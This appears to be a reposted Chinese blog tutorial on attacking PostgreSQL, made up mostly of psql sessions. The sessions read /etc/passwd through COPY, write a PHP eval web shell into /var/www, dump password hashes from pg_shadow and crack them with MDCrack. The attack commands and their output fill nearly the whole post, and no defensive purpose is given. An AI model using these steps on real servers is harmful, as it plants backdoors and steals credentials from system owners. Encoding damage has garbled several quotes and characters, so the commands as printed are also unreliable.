您的位置:首页 > 数据库

postgresql读写文件和破解密码

2019-06-09 15:46 1726 查看
版权声明:本文为Coisini社区原创内容,未经允许不得转载。 https://blog.csdn.net/kclax/article/details/91353642


1.通过copy读文件

mickey@pentest:~/Pentest/crack/mdcrack$ psql -h 127.0.0.1 -U postgres
用户 postgres 密码:
psql (8.4.2)
SSL connection (cipher: DHE-RSA-AES256-SHA, bits: 256)
Type “help” for help.

postgres=# create table file(line text);
CREATE TABLE

postgres=# copy file from “/etc/passwd” with delimiter “:”;
ERROR: extra data after last expected column
背景: COPY file, line 1: “root❌0:0:root:/root:/bin/bash”

失败,是由于delimiter的问题,如果要读的文件包含有你指定的delimiter,则会失败,

postgres=# create table file (line text);
CREATE TABLE
postgres=# copy file from “/etc/passwd” with delimiter E”t”;
COPY 47
postgres=# select * from file;

这次就成功了,用pg_read_file(),在实际渗透中不太现实,因为他限制目录访问了。

2.写一句话到web目录
postgres=# create table file(line text);
CREATE TABLE
postgres=# insert into file values (E”<?php eval($_POST[”mickey”]; ?>”);
INSERT 0 1
postgres=# copy file(line) to “/var/www/one.php”;
COPY 1

3.破解数据库账户

postgres=# SELECT usename, passwd FROM pg_shadow;
usename | passwd
———-+————————————-
postgres | md518d0d1643114d8b58e27c77600a1c658
(1 row)

加密算法为md5(password+username),以这个为例,密码为mickey,用户名为postgres,合并后为mickeypostgres,再经过md5加密后,就为18d0d1643114d8b58e27c77600a1c658

可以使用MDCRACK来破解

mickey@pentest:~/Pentest/crack/mdcrack$ wine MDCrack-sse.exe –algorithm=MD5 –append=postgres 18d0d1643114d8b58e27c77600a1c658< 4000 /p>
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: